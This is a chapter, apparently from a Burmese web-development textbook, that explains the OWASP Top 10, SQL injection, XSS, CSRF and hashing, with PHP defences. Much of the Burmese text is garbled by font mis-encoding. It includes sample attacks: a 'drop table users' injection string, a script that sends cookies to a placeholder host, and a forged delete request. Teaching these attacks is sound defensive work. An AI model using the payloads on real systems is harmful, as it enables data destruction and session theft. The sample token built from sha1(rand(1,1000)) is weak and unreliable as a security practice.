ကdတာ့ အ့ဲဒီzာသာရပ်ကို အထူးgပုကျွမ်းကျင်သူ မဟုတ်ပါzူး။ ကိုယ့်အိမ်လံုdအာင် dသာ့ခတ်ရတယ် ဆို
တာdလာက်ကို သိရှိသူ  Developer  တစ်ဦးသာgoစ်ပါတယ်။ လက်dတွ့လုပ်ငန်းခွင်မှာ အထူးgပုကျွမ်းကျင်
သူdတွရဲ့ အကူအညီကို ယူနိုင်ရင် ပုိdကာင်းပါတယ်။ ယူနိုင်သည်goစ်dစ မယူနိုင်သည်goစ်dစ dရးထားတဲ့
ကုဒ်မှာ dတွ့ရdလ့ရှိတဲ့ လံုခြခုံdရး gပဿနာdတွကို dgoရှင်းdပးရမှာကdတာ့  Developer  dတရွဲ့ တာဝန်ပဲ
goစ်ပါတယ်။

OWASP Top 10
Web Application Security  နဲ့ပက်သက်ရင် အဓိကအကျဆုံး ကိုးကားdလ့လာစရာကdတာ့  OWASP လ့ုိ
အတိုdကာက်dခါ်တဲ့ Open Web Application Security Project ပဲ goစ်ပါတယ်။ အရင်ကဆိုရင် OWASP
Top 10 ဆိုပြပီးdတာ့ Web Application dတွမှာ dတွ့ ရdလ့ရှိတဲ့ အဓိက လံုခြခုံdရးgပဿနာစာရင်းကို မeကာ
မeကာ ထုတ်gပန်dပးdလ့ ရှိပါတယ်။ (၂၀၁၇) ခုနှစ်တုံးက dနာက်ဆုံးထုတ်gပန်ခဲ့ပြပီး အခုdနာက်ပုိင်း အ့ဲဒီလို
ထုတ်မdပးတာdတာ့  eကာပါပြပီ။  dနာက်ဆုံးထုတ်gပန်ထားတဲ့  အdတွ့ရအများဆုံး  လံုခြခုံdရးgပဿနာ
စာရင်းက ဒီလိုပါ –

1. Injection – ဒီကဏ္ဍမှာ ပါဝင်တဲ့ SQL Injection အdeကာင်းကို ခဏနေdနdတာ့မှ dgပာပါမယ်။

2. Broken Authentication – User Login Data ကို Cookie ထဲမှာသိမ်းမိတယ် ဆိုeကပါစို့။ ဒုက္ခdပး
ချင်သူက သ့ူ Cookie ကို oွင့်eကည်လုိက်တဲ့အခါ role=1 ဆိုတဲ့တန်oုိးတစ်ခုကို dတွ့ သွားတယ်
ဆိရုင် အ့ဲဒီ တန်oုိးကို role=3 လ့ုိdgပာင်းလုိက်တာနဲ့ ရိုးရိုး User goစ်ရမယ့်သူက Admin User 
goစ်သွားပါပြပီ။ Broken Authentication ဆိုတာ အ့ဲဒီလုိgပဿနာမျ ို းdတွကို dgပာတာပါ။ နည်း
နည်း ပုိလံုခြခုံdအာင် Session ထဲမှာdတာ့ သိမ်းထားပါရဲ့၊ Session ID dတွက dပါ်dနရင် အ့ဲဒီ ID 
dတွယူသံုးပြပီး ဒုက္ခdပးတာမျ ို းdတွကလည်း ရှိနိုင်ပါdသးတယ်။ ဒီသdzာမျ ို းdတွကိုdgပာတာပါ။
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3. Sensitive Data Exposure – ပdရာZျက်မှာ လုိအပ်လုိ့ တစ်ချ ို ့အdရးကြကီးတဲ့ အချက်အလက်dတွ
ကို oုိင်နဲ့သိမ်းပြပီး ပdရာZျက်oုိဒါထဲမှာ ထည့်ထားမိတာမျ ို းdတွ ရိှတတ်eကပါတယ်။ dနာက်မှ gပန်
oျက်မယ်ဆိုပြပီး မoျက်goစ်zဲ dမ့သွားတာပဲgoစ်goစ်၊ zယ်သူမှ မသိdလာက်ပါzူးဆိုပြပီး ထားလုိက်
မိတာမျ ို းပဲgoစ်goစ် အကာအကွယ်မရှိzဲ ကျန်dနတတ်ပါတယ်။ Github တို့ zာတိုမှာ Source 
Code dတွ တင်eကတဲ့အခါ Server Database Password dတွက ကုဒ်ထဲမှာ ပါdနလ့ုိ လူတိုင်း
dတွ့dနရတာမျ ို းdတွက အများကြကီး ရှိdနပါတယ်။ ဒီလုိgပဿနာမျ ို းကို dgပာတာပါ။

4. XML External Entities (XXE) – ဒီgပဿနာကိုdတာ့ စာdရးသူကိုယ်တိုင် မကြကုံoူးတဲ့အတွက် 
dသချာမသိပါzူး။

5. Broken Access Control – ဒီgပဿနာက ကျွန်dတာတ်ို့ dရးခဲ့တဲ့ နမူနာပdရာZျက်မှာကို ရှိdနပါ
တယ်။ စစရ်မယ့် Authentication ကို စုံdအာင်မစစ်မိzဲ ကျန်dနတာမျ ို းပါ။ Login ဝင်ထားသူမှ 
အသံုးgပုခွင့်dပးမယ့် ကိစ္စdတွကို Auth::check() နဲ့ စစ်ရပါတယ်။ မစစ်မိzဲ ကျန်dနတဲ့ oုိင်
dတွ ရိှပါတယ်။ ဥပမာ - _actions/populate.php။ ပြပီးdတာ့ Manger သ့ုိမဟုတ် Admin 
မှလုပ်ခွင့်dပးမယ်သာ dgပာတာပါ။ delete.php တို့ suspend.php တို့မှာ 
Auth::check() ပဲစစ်ထားပါတယ်။ Role Value ကို မစစ်ထားပါzူး။ ဒါdeကာင့် ရိုးရိုး User 
ကသာ ဒါကိုသိမယ်ဆိုရင် သ့ူမှာ အခွင့်မရှိzဲ Delete တို့ Suspend တို့ကို လုပ်လ့ုိရသွားမှာပါ။

6. Security Misconfiguration – ဒါကdတာ့ Web Server dတွ Database Server dတွမှာ Local 
မှာသံုးတဲ့ Setting နဲ့ Production မှာ သံုးမိeကတာမျ ို းdတွပါ။ ဥပမာ – လက်ရှိ MySQL မှာ 
Username root နဲ့ Password မရှိပါzူး။ အ့ဲဒါကို Server dပါ်တင်သံုးမိတာမျ ို းdတွ goစ်တတ်
ပါတယ်။ dရှ့ မှာကုဒ်dတွနဲ့ အdသစစ်ထားdပမယ့် dနာက်က Database ကြကီးက ဒီအတိုင်း ဝင်လ့ုိ
ရdနတာမျ ို းပါ။

7. Cross-Site Scripting (XSS) – ဒီအdeကာင်းကို ခဏနေdနမှ dgပာပါမယ်။

8. Insecure Deserialization – PHP မှာ eval() ဆိုတဲ့ Function တစ်ခုရှိပါတယ်။ String dတွ
ကို dပးလိုက်ရင် Code အdနနဲ့ Run dပးနိုင်ပါတယ်။ ဥပမာ – eval("echo 1 + 2;")။ 
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တစ်ချ ို ့ပdရာZျက်dတွမှာ တစ်dနရာကdန ကုဒ်dတွကို Download လှမ်းယူပြပီး eval() နဲ့ Run
လုိက်တယ်ဆိုတဲ့သdzာမျ ို းdတွ သံုးeကပါတယ်။ ဒီလုိကုဒ်dတွဟာ အလွန်အန္တရာယ်များတဲ့ ကုဒ်
dတွပါ။ ယူလိုက်တဲ့ Content ကိုdသချာမစစ်zဲ Run မိတဲ့အခါ ဒုက္ခdပးနိုင်တဲ့ ကုဒ်dတွပါလာလ့ုိ 
အကြကီးအကျယ် gပဿနာတက်ရတာမျ ို းdတွ ရိှနိုင်ပါတယ်။ ဒီသdzာမျ ို းကို dgပာတာပါ။

9. Using Component with Known Vulnerabilities – ဒီစာကိုdရးdနချနိ်နဲ့ မdရှးမdနှာင်းမှာပဲ 
အdမရိကန်သမ°တရဲ့ အိမ်goူdတာ်ဝz်ဆိုက်ကို WordPress လ့ုိdခါ်တဲ့ PHP CMS နည်းပညာနဲ့ 
တည်dဆာက်ထားတာ သတိgပုမိပါdသးတယ်။ WordPress ဝz်ဆိုက်dတွဟာ Hack ရလွယ်
တယ်၊ လံုခြခုံdရး အရမ်းအားနည်းတယ်ဆိုပြပီးdတာ့ နာမည်ဆိုးပါတယ်။ အိမ်goူdတာ်ဝz်ဆိုက်လုိ
မျ ို းကdတာင် သံုးထားတာပဲ၊ တစ်ကယ်dတာ့ WordPress က လံုခြခုံdရးအားမနည်းပါzူး။ 
WordPress ကိုအသံုးgပုထားတဲ့ ဝz်ဆိုက်dတွမှာ လံုခြခုံdရးgပဿနာ များရgခင်း အdeကာင်းရင်း
ကdတာ့ လံုခြခုံdရးအရည်အdသွး အားနည်းလွန်းတဲ့ Themes dတွ Plugins dတွကို သံုးထားမိeက
လ့ုိပါ။ ဒီသdzာမျ ို းကို dgပာတာပါ။

10. Insufficient Logging & Monitoring – လံုခြခုံdရး gပဿနာတစ်ခတုက်လာတဲ့အခါ zာdeကာင့်
လဲဆိုတဲ့ ရင်းgမစ်ကို အရင်ရှာရမှာပါ။ ရင်းgမစ်ကို dတွ့ပြပီဆိုdတာ့မှသာ dနာင်မgoစ်dအာင် dgoရှင်း
လ့ုိ ရမှာပါ။ ဒီလုိရင်းgမစ်ကို သိoုိ့ဆိုရင် Login Log dတွ Access Log dတွ Error Log dတွနဲ့ zယ်
dန့ zယ်အချနိ်မှာ zယ်သူဝင်သွားတယ်၊ zယ်အချနိ်မှာ zာ Error တက်သွားတယ်ဆိုတာကို 
gပန်eကည့်လ့ုိ ရo့ုိလုိသလုိ၊ အပြမဲdစာင့်eကည့်လ့ုိရတဲ့ စနစd်တွလည်း ရိှo့ုိလုိပါတယ်။ ဒီလိုစနစ်dတွ
မရှိတဲ့အခါမှာလုံခြခုံdရးgပဿနာရှိလာခဲ့ရင် အdပါ်ယံgမင်ရတာdလာက်ကိုသာ dgoရှင်းမိပြပီး 
ရင်းgမစ်ကို မdgoရှင်းမိလို့ dနာင်မှာ အလားတူgပဿနာdတွ ထပ်ခါထပ်ခါ gပန်တက်dနတယ်ဆို
တာမျ ို းdတွ ရိှနိုင်ပါတယ်။

ဒါdတွကdတာ့ OWASP Top 10 မှာပါဝင်တဲ့ အdတွ့ရများတဲ့ Web Application Security gပဿနာများပဲ
goစ်ပါတယ်။ ကိုယ်တိုင်dလ့လာလုိရင် ဆက်လက်doာ်gပထားတဲ့လိပ်စာမှာ dလ့လာနိုင်ပါတယ်။

– https://owasp.org/www-project-top-ten/

https://owasp.org/www-project-top-ten/
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ဒီgပဿနာdတွထဲက  Broken  Authentication  တို့  Broken  Access  Control  တို့လုိ  gပဿနာများကို
dရာှင်ရှားo့ုိအတွက်  Authentication    လုပ်dဆာင်ချက်ကို  ကိုယ်တိုင်အစအဆုံး ချdရးမယ့်အစား၊    Proven  
goစ်ပြပီးသား၊ အများဝုိင်းဝန်းစမ်းသပ်ပြပီးသား စနစ်မျ ို းကို ရယူအသံုးgပုသင့်ပါတယ်။ ကိုယ်တိုင်ချdရးတဲ့အခါ
တစ်ခုမဟုတ်တစ်ခုကျန်မှာပါပဲ။ တစ်dနရာမဟုတ် တစ်dနရာ လွတ်dနမှာပါပဲ။ Laravel တို့  Symfony တို့
လ့ုိ  Framework  dတွမှာ ဒီလုိအသင့်ရယူအသံုးgပုနိုင်တဲ့  Proven  goစ်ပြပီးသား  Authentication  စနစ်dတွ
ပါဝင်eကပါတယ်။  Sensitive Data Exposure  အတွက်dတာ့ အdရးကြကီးတဲ့  dဒတာdတွကို  ပdရာZျက်ထဲ
မှာ၊ Source Code ထဲမှာ dရာမထားမိoုိ့ ကိုယ်တိုင်က သတိထားရမှာပါ။ ခွဲထုတ်ထားလ့ုိရမယ့် နည်းလမ်း
dတွကို ကြကံဆအသံုးgပုeကရမှာပါ။ 

Security  Misconfiguration  လုိ  gပဿနာမျ ို းအတွက်  သက်ဆိုင်ရာ  Server  Configuration  ပုိင်းကို
နားလည်တဲ့  System Administrator  dတရွဲ့  အကူအညီကို  ယူသင့်ပါတယ်။  သ့ုိမဟုတ်  Server  စီမံတဲ့
အလုပ်ကို  ကိုယ်တိုင်မလုပ်zဲ အသင့်သုံးလ့ုိရတဲ့  Hosting, VPS, Cloud Service  dတွကို  အသုံးgပုသင့်ပါ
တယ်။ Using Component with Known Vulnerabilities အတွက်ကလည်း အတတူူပါပဲ။ ကိုယ်တိုင်စီမံ
မယ်ဆိုရင် အသံုးgပုထားတဲ့ နည်းပညာနဲ့ Software အားလံုးကို  Update အပြမဲgoစ်dနdအာင် Zရုစိုက်eကရ
မှာပါ။  ပုိdကာင်းတာကdတာ့  စီမံdပးနိုင်တဲ့  Service  dတွအသံုးgပုလုိက်တာ  အdကာင်းဆုံးပါပဲ။  ဒီလုိ
Service  dတွ အသံုးgပုgခင်းအားgoင့်  Insufficient Logging & Monitoring  gပဿနာကိုလည်း dgoရှင်းပြပီး
goစ်dစနိုင်ပါတယ်။ ဒီ  Service  dတွမှာ  Logging  နဲ့  Monitoring  လုပ်dဆာင်ချက်dတွ ပါဝင်dလ့ ရိှeကပါ
တယ်။ ဒါdတွက ကုဒ်deကာင့်goစ်တဲ့  gပဿနာမဟုတ်zဲ  Server Management  နဲ့သက်ဆိုင်တဲ့  gပဿနာ
dတွ goစ်သွားပါပြပီ။

ကုဒ်deကာင့်goစ်dလ့ရှိတဲ့ gပဿနာdတွထဲက အဓိကအကျဆုံး (၃) ခုကို dရးွထုတ်ပြပီး ဆက်လက်doာ်gပချင်
ပါတယ်။
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SQL Injection
SQL Injection ဆိုတာ User Input နဲ့အတူ SQL Query dတွ dရာထည့်ပြပီး တိုက်ခိုက်တဲ့နည်းလမ်း goစ်ပါ
တယ်။ တစ်လက်စထဲ မှတ်ထားသင့်ပါတယ်။  User Input  ဆိရုင်  zယ်  User Input  ကိုမှ  မယုံရပါzူး။
URL Query အdနနဲ့လာတဲ့ Input dတွ၊ Form ကdနလာတဲ့ Input dတွ၊ အားလုံးမှာ အသံုးဝင်တဲ့ Data ပါ
နိုင်သလုိ၊ အdနှာက်အယှက်dပးမယ့်  Data  နဲ့  ဒုက္ခdပးမယ့် ကုဒ်dတွ dရာပြပီးdတာ့ ပါလာနိုင်ပါတယ်။ ဒါ
deကာင့် Input   ဆိုရင် zယ်   Input   ကိုမှ မယံုရzူးဆိုတဲ့မူကို လက်ကိုင်ထားoို့ လုိအပ်ပါတယ်  ။

ကိုယ့်ပdရာZျက်ထဲမှာ အခုလုိdရးထားတဲ့ကုဒ် ရှိတယ်ဆိုeကပါစို့။

// get.php

$id = $_GET['id'];

$sql = "SELECT * FROM users WHERE id = $id";

$_GET ကdန ယူထားတဲ့အတွက် URL Query အdနနဲ့ ပါဝင်လာတဲ့ Input Data goစ်တဲ့ id ကို ယူလိုက်
တာပါ။ id ဟာ 1, 2, 3, 4 စတဲ့ ကိန်းZဏနေန်းdတွgoစ်မယ်လ့ုိ dမျှာ်မှန်းပြပီးdတာ့ ကုဒ်ကို dရးထားတာပါ။ ဒါ
ကို ဒုက္ခdပးချင်ရင် id ကိန်းZဏနေန်းdပးရမယ့်dနရာမှာ အခုလုိ dပးပြပီးdတာ့ ဒုက္ခdပးနိုင်ပါတယ်။

get.php?id=1;drop table users

ဒါdeကာင့် id ရဲ့တန်oုိး 1;drop table users goစ်သွားပါပြပီ။ အ့ဲဒီ id တန်oုိးကို dရးထားတဲ့ SQL
ထဲမှာ ထည့်ထားလ့ုိdနာက်ဆုံးရလဒ်က အခုလိုgoစ်သွားပြပီ goစ်ပါတယ်။

SELECT * FROM users WHERE id = 1;drop table users

ဒါdeကာင့် ဒီ Query ကိုသာ တိုက်ရိုက် Run လုိက်မယ်ဆိုရင် drop table users ဆိုတဲ့ Statement
အသက်ဝင်ပြပီး users Table ပျက်သွားမှာ goစ်ပါတယ်။ SQL Injection ဆိုတာ ဒီသdzာမျ ို းကို dgပာတာ
ပါ။ User Input နဲ့အတူကို SQL ကို Inject လုပ်ပြပီးdပးတဲ့နည်းနဲ့ Data dတွကို အခွင့်မရှိzဲ ယူလို့၊ gပင်လ့ုိ၊
oျက်လို့ ရdနနိုင်တဲ့ သdzာပဲ goစ်ပါတယ်။



PWD 2022 – အခန်း (၄၀) – Web Application Security 641

Prepare Statement ကို အသံုးgပုထားမယ်ဆိုရင် ဒီလို  SQL Injection ကို deကာက်စရာမလိုdတာ့ပါzူး။
Query ကို အရင် Prepare လုပ်ပြပီး၊ dနာက်မှာ Input Data ကိုdပးတဲ့အတွက် အ့ဲဒီ Data ထဲမှာ ပါလာတဲ့
Query  ဟာ  အသက်မဝင်dတာ့တဲ့အတွက်deကာင့်  goစ်ပါတယ်။  ဒါdeကာင့်  တgခားနည်းလမ်းdတွလည်း
ရိှdသးdပမယ့်  SQL  Injection  Attack    ကို  ကာကွယ်o့ုိ  အdကာင်းဆုံးနည်းလမ်းကdတာ့    Prepare  
Statement   ကို အသံုးgပုgခင်းgoစ်တယ်   လ့ုိ မှတ်နိုင်ပါတယ်။

XSS – Cross-site Scripting
Cross-site Scripting ကို Script Injection လ့ုိလည်း dခါ်eကပါတယ်။ SQL Injection ဆိုတာ User Input
ထဲမှာ  SQL Query  dတွထည့်ပြပီး ဒုက္ခdပးတဲ့နည်းလ့ုိဆိုရင်  XSS  ဆိုတာ  User Input  ထဲမှာ  JavaScript
dတွထည့်ပြပီး ဒုက္ခdပးတဲ့နည်းလ့ုိ ဆိုနိုင်ပါတယ်။ 

သူကdပးလုိက်တဲ့အချနိ်မှာ  ချက်gခင်းဒုက္ခမdပးzဲ၊  အ့ဲဒီ  JavaScript  dတွပါdနတဲ့  Data  ကိုgပန်သုံးတဲ့
အချနိ်ကျdတာ့မှ  ဒုက္ခdပးတာပါ။  ဒါdeကာင့်  Input    ဆိုရင်  zယ်    Input    မှ  မယံုရzူးဆိုတဲ့  မူနဲ့အတူ၊  
Output   dတွကိုလည်း မယုံရzူး   လ့ုိ တဲွမှတ်o့ုိ လုိအပ်ပါတယ်။

ဥပမာ – User ဆီက Comment ကိုdတာင်းတဲ့  Form တစ်ခုရှိတယ်ဆိုeကပါစို့။ တစ်ကယ်တမ်း Input မှာ
dရးgoည့်ရမှာက Comment အgoစ်dပးချင်တဲ့ စာကို dရးရမှာပါ။ အ့ဲဒါကို User က စာမdရးzဲ၊ အခုလုိ dရး
ထည့်သွားနိုင်ပါတယ်။

<script>location.href='http://me.xyz?c='+document.cookie</script>

စာမdရးzဲ JavaScript ကုဒ်dရးထည့်သွားတာပါ။ အ့ဲဒီကုဒ်ကို  Table ထဲမှာ သိမ်းလုိက်ပြပီး၊ gပန်gပတဲ့အခါ
dရးထားတဲ့ ကုဒ်က Run သွားမှာ goစ်ပါတယ်။ ဒါdeကာင့် အ့ဲဒီကုဒ်ရှိdနတဲ့  Content ကို eကည့်မိသူ User
တိုင်းရဲ့  Cookie Data dတွကို နမူနာအရ me.xyz ဝz်ဆိုက်ထံ dပးပို့gခင်းအားgoင့် ခိုးယူခံရပါပြပီ။ Cookie
ထဲမှာ Session ID လုိ အdရးကြကီးတဲ့ အချက်အလက်dတွ ရှိdနနိုင်ပါတယ်။
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ဒီgပဿနာကို  dgoရှင်းoို့အတွက် အလွယ်ဆုံးနည်းလမ်းကdတာ့  PHP  ရဲ့  htmlspecialchars() ဆို
တဲ့  Function  ကို  အသံုးgပုgခင်းgoစ်ပါတယ်။ ဒီ  Function  က  Content  ထဲမှာပါတဲ့  Special Character
dတွကို  Encode လုပ်dပးပါတယ်။ ဥပမာ –  <script> ဆိုရင်  &lt;script&gt; goစ်သွားမှာပါ။  <
ကို  &lt; နဲ့  Encode  လုပ်dပးပြပီး  > ကို  &gt; နဲ့  Encode  လုပ်dပးလိုက်လ့ုိ dရးထားတဲ့  <script>
Tag အသက်မဝင်dတာ့ပါzူး။ 

တစ်ကယ်dတာ့ <script> တစ်ခုထဲက ဒုက္ခdပးနိုင်တာ မဟုတ်ပါzူး။ HTML Element dတွအားလံုးက
ဒုက္ခdပးo့ုိအတွက် သံုးမယ်ဆိုရင် သံုးလို့ရdနပါတယ်။  <img> ရဲ့  src Attribute  မှာ  JavaScript  ကုဒ်
dတွ dရးလ့ုိရပါတယ်။ <a> ရဲ့  href မှာ JavaScript ကုဒ်dတွ dရးလ့ုိရပါတယ်။ တgခား Element dတွ
မှာလည်း  onClick တို့  onMouseOver တို့လ့ုိ  Attribute dတွနဲ့  JavaScript  ကုဒ်dတွကို dရးမယ်ဆို
dရးလုိရ့dနပါတယ်။ ဒါdeကာင့် JavaScript dတွ အလုပ်မလုပ်dအာင် <script> Tag ကို ကာကွယ်မယ်
လ့ုိ dgပာလ့ုိ မရပါzူး။ zယ် HTML Element ကိုမှ မယုံရတာပါ။ htmlspecialchars() Function
က ပါလာသမျှ Special Character dတွအကုန်လံုးကို Encode လုပ်gပစ်မှာမို့လ့ုိ HTML Tag dတွပါလာရင်
လည်း  တစ်ခုမှ  အလုပ်လုပ်မှာ  မဟုတ်ပါzူး။  dရးထားတဲ့အတိုင်းပဲ  doာ်gပdပးdစမှာ  goစ်ပါတယ်။  ဒါ
deကာင့်  XSS    ကို  ကာကွယ်o့ုိအတွက်    Output    တိုင်းကို    htmlspecialchars()     နဲ့  ရိုက်ထုတ်သင့်  
တယ် လ့ုိ မှတ်နိုင်ပါတယ်။

<?php echo htmlspecialchars($comment) ?>
<?= htmlspecialchars($comment) ?>

ဒီ Function ကို ခဏနေခဏနေ dခါ်သံုးရတာ ရှည်တယ်ထင်ရင်လည်း အခုလုိ eကားခံ Helper Function တစ်ခု
ကိုယ့်zာသာ dရးထားလ့ုိရနိုင်ပါတယ်။

function h($content) {
    return htmlspecialchars($content);
}
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ဒါdeကာင့် dနာက်ပုိင်း Output dတွရိုက်ထုတရ်င် အခုလုိ ထုတ်လ့ုိ ရသွားပါပြပီ။

<?php echo h($comment) ?>
<?= h($comment) ?>

အကယ်၍ Content ကို အခုလုိ Encode လုပ် မgပစ်ချင်zူး၊ အန္တရာယ်ရှိတာdတွကို dရွးပြပီးdတာ့ oယ်ချင်
တယ်။  အန္တရာယ်မရှတိာdတွ  ချန်ထားdပးချင်တယ်ဆိုရင်dတာ့  HTML  Purifier  လုိ  နည်းပညာမျ ို းကို
အသံုးgပုနိုင်ပါတယ်။ ဒီမှာdလ့လာeကည့်လ့ုိ ရပါတယ်။

– http://htmlpurifier.org/

CSRF – Cross-Site Request Forgery
Cross-Site Request  Forgery  ဆိုတာ ဝz်ဆိုက်တစ်ခုကို  ဒုက္ခdပးo့ုိအတွက်  အgခားဝz်ဆိုက်တစ်ခုကို
အသံုးgပုပြပီး  Request  dတွ  dပးပ့ုိသကဲ့သ့ုိgoစ်dအာင်  လှည်oျားပြပီးdတာ့  တိုက်ခိုက်တဲ့  နည်းလမ်း  goစ်ပါ
တယ်။ အခုdနာက်ဆုံး  OWASP Top 10 ထဲမှာ မပါdတာ့dပမယ့် သ့ူအရင် ထုတ်gပန်ခဲ့တဲ့  Top 10 စာရင်း
dတွမှာ မeကာမeကာ ပါdနeက gပဿနာတစ်ခုgoစ်ပါတယ်။

ကျွန်dတာ်တို့  dရးသားခဲ့တဲ့  ပdရာZျက်ကုဒ်ထဲက  delete.php ကို  ဥပမာdပးချင်ပါတယ်။
delete.php ကို အသံုးgပုပြပီး အခုလုိ Request dပးပ့ုိgခင်းအားgoင့် User dတွကို oျက်လ့ုိရပါတယ်။

localhost/project/_delete.php?id=1

dရးထားတဲ့ကုဒ်ကို gပန်dလ့လာeကည့်ပါ။  URL Query က id ကို ယူပြပီးdတာ့ အ့ဲဒီ  id နဲ့ ကိုက်တဲ့  User
ကို oျက်oုိd့ရးထားတာပါ။ ဒါdပမယ့် ဒီ URL ကိုသံုးပြပီး လူတိုင်းက oျက်ချင်တဲ့  User ကိုလာoျက်လ့ုိ မရပါ
zူး။ ကုဒ်ထဲမှာ Auth::check() နဲ့ စစ်ထားပါတယ်။ Login ဝင်ထားတဲ့  User မှသာလျှင် ဒီအလုပ်ကို
လုပ်လုိ့ရမှာ  goစ်ပါတယ်။  Login  မဝင်ထားzဲ  ဒီ  URL  ကို  သံုးo့ုိကြကိုးစားရင်  oျက်တဲ့အလုပ်ကို  လုပ်မှာ
မဟုတ်ပါzူး။

http://htmlpurifier.org/
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ကိုယ်က ဒီပdရာZျက်မှာ အdကာင့်ရှိလ့ုိ Login ဝင်ထားမိတယ်ဆိုeကပါစို့။ ဒုက္ခdပးလုိသူက ဒီလုိ Element
ပါတဲ့  ဝz်ဆိုက်တစ်ခုကို  dရးထားတဲ့အခါ  ကိုယ်ကမသိလုိက်zဲ  အ့ဲဒီဝz်ဆိုက်ကို  သွားမိရင်  gပဿနာ
တက်ပါပြပီ။

<img src="http://localhost/project/_delete.php?id=1">

ဝz်ဆိုက်ကသ့ူဝz်ဆိုက်ပါ။ dရးထားတာက သ့ူကုဒ်ပါ။ ဒါdပမယ့် ကိုယ်ကအ့ဲဒီ ဝz်ဆိုက်ကို  oွင့်လိုက်မိ
ချနိ်မှာ Browser က <img> Element goစ်တဲ့အတွက် ပံုကိုgပနိုင်o့ုိ src Attribute မှာdပးထားတဲ့ လိပ်စာ
ကို  Request  ပ့ုိလုိက်မှာပါ။  ပ့ုိလုိက်တာက  ကိုယ်  Browser  ကgoစ်dနတဲ့အတွက်  delete.php ရဲ့
Auth::check() က စစ်eကည့်လုိက်တဲ့အခါ Login goစ်dနလ့ုိ User ကိုoျက်gပစ်လုိက်မှာ goစ်ပါတယ်။

သ့ူဝက်ဆိုက်ကို  သွားမိတာ  ကိုယ်ဝz်ဆိုက်က  Data  ထိသွားတယ်ဆိုတဲ့  သdzာမျ ို းgoစ်လ့ုိ  ဒီ  နည်းကို
Cross-site Request Forgery Attack (CSRF)  လ့ုိdခါ်eကတာပါ။ ကိုယ့်ပdရာZျက်မှာ ဒီgပဿနာကို ကာ
ကွယ်လုိရင် Random Token ကို သံုးနိုင်ပါတယ်။ ဥပမာ ဒီကုဒ်ကိုdလ့လာeကည့်ပါ။

<?php
echo sha1(rand(1, 1000) . time());
// 22d0fe99e95aa559355c4f514334bf121601568f

 
sha1() Function  ထဲမှာ  Random  တန်oုိးတစ်ခု  လက်ရှိအချနိ်နဲ့dပါင်းပြပီး  dပးလိုက်တဲ့အခါ ခန့်မှန်းoုိ့
zယ်လုိမှ မလွယ်ကူတဲ့ Hash ရလဒ် တစ်ခုကို ရပါတယ် (Hash အdeကာင်းကို ခဏနေdနdတာ့မှ ဆက်dgပာ
ပါမယ်)။  အ့ဲဒီရလဒ်က  အပြမဲတမ်း  dgပာင်းdနပါလိမ့်မယ်။  time() Function  ပါလ့ုိ  တစ်ခါ  Run  ရင်
တန်oုိးတစ်မျ ို းgoစ်dနမှာပါ။ ရလာတဲ့ Hash တန်oုိးကို Session ထဲမှာသိမ်းထားပြပီး Request နဲ့အတူ အ့ဲဒီ
တန်oုိးပါလာမှ လက်ခံရမှာgoစ်ပါတယ်။ ဒီလုိပါ – 
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<?php
session_start();
$token = sha1(rand(1, 1000) . 'csrf secret');
$_SESSION['csrf'] = $token;

?>
<a href="delete.php?id=1&csrf=<?= $token ?>">Delete</a>

ရလာတဲ့  Random Token ကို  Session ထဲမှာသိမ်းပြပီး၊  Link မှာလည်း URL Query အdနနဲ့ တွဲdပးလုိက်
တာပါ။ ဒါdeကာင့် ဒီ Link ကိုနှိပ်ရင် Random Token က Request နဲ့အတူ ပါလာပါပြပီ။ ပါလာတဲ့  Token
ကို Session ထဲမှာ သိမ်းထားတဲ့ Token နဲ့ တူမတူ စစ်လုိက်ယံုပါပဲ။

<?php
// delete.php

session_start();
if($_GET['csrf'] === $_SESSION['csrf']) {
    echo "Good request";
} else {
    echo "Bad request";
}

တgခားသူက ကိုယ့်  Session ထဲမှာ သိမ်းထားတဲ့ dgပာင်းလဲdနတဲ့  Random Token နဲ့ကိုက်ညီတဲ့ တန်oုိး
dပးပြပီး Request အတု လွှတ်o့ုိဆိုတာ မလွယ်dတာ့ပါzူး။ ဒီနည်းနဲ့ CSRF Attack ကို ကာကွယ်ရပါတယ်။
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Hash Functions
Hash Function dတဟွာ လံုခြခုံdရးအတွက် အdရးပါပါတယ်။ dရးgoစ်ခဲ့တဲ့ နမူနာကုဒ်dတွမှာ md5() နဲ့
sha1() ဆိုတဲ့ Hash Function dတွကို အသုံးgပုခဲ့eကပါတယ်။ ဒီ Hash Function dတွက Content ကို
dပးလုိက်ရင်  Hash Code  goစ်dအာင် dgပာင်းdပးeကပါတယ်။ Function  မတူတဲ့အခါ  Hash dgပာင်းoို့သံုး
သွားတဲ့  Algorithm  မတူdတာ့ပါzူး။  Algorithm  dတွ မတူeကdပမယ့် တူညီတဲ့  သdzာ သzာဝ dတွ
dတာ့ ရိှeကပါတယ်။

• Hash Function  dတွဟာ  dပးလုိက်တဲ့    Content    ရဲ့    Length    zယ်dလာက်ပဲ ကွဲgပားပါdစ gပန်  
ထုတ်dပးတဲ့    Output Length    အပြမဲတမ်း တူညီeကပါတယ်  ။  md5() Function  က စာလံုး  (၃၂)
လံုးပါတဲ့  Hash  ကို  gပန်ထုတ်dပးပါတယ်။  dပးလုိက်တဲ့  Content  က စာလံုးတစ်လံုးထဲ  ဆိုရင်
လည်း ရလဒ်က (၃၂) လံုးပဲ goစ်မှာပါ။ dပးလုိက်တဲ့ Content က စာလံုး (၁၀၀၀) dကျာ်ရင်လည်း
ရလဒ်ကdတာ့  (၃၂)  လံုးပဲgoစ်မှာပါ။  sha1() Function  က စာလံုး  (၄၀)  ပါတဲ့  Hash  ကို  gပန်
ထုတ်dပးပါတယ်။

• Hash Function  dတွဟာ dပးလိုက်တဲ့  Content  ကို dgခoျက်ပြပီးdတာ့  Hash  dgပာင်းတာgoစ်တဲ့
အတွက် dချoျက်လိုက်လ့ုိ ရလာတဲ့   Hash   ကdန မူလ   Content   ကို gပန်မရနိုင်ပါzူး  ။ dပးလုိက်တဲ့
Content  ကို  Code  dgပာင်းပြပီးdနာက်၊ ရလာတဲ့  Code  ကdန Content  gပန်dgပာင်းလ့ုိရတဲ့ နည်း
ပညာdတွရှိပါတယ်။ Encryption လ့ုိdခါ်ပါတယ်။ Hash နဲ့ မတူပါzူး။  Encrypt လုပ်လုိက်လုိ့ ရ
လာတဲ့ Code ကို Decrypt gပန်လုပ်gခင်းအားgoင့် Content ကို gပန်ရနိုင်ပါတယ်။ Hash Algorithm
dတွ အမျ ို းမျ ို းရှိသလုိပဲ Encryption Algorithm dတွလည်း အမျ ို းမျ ို း ရှိeကပါတယ်။

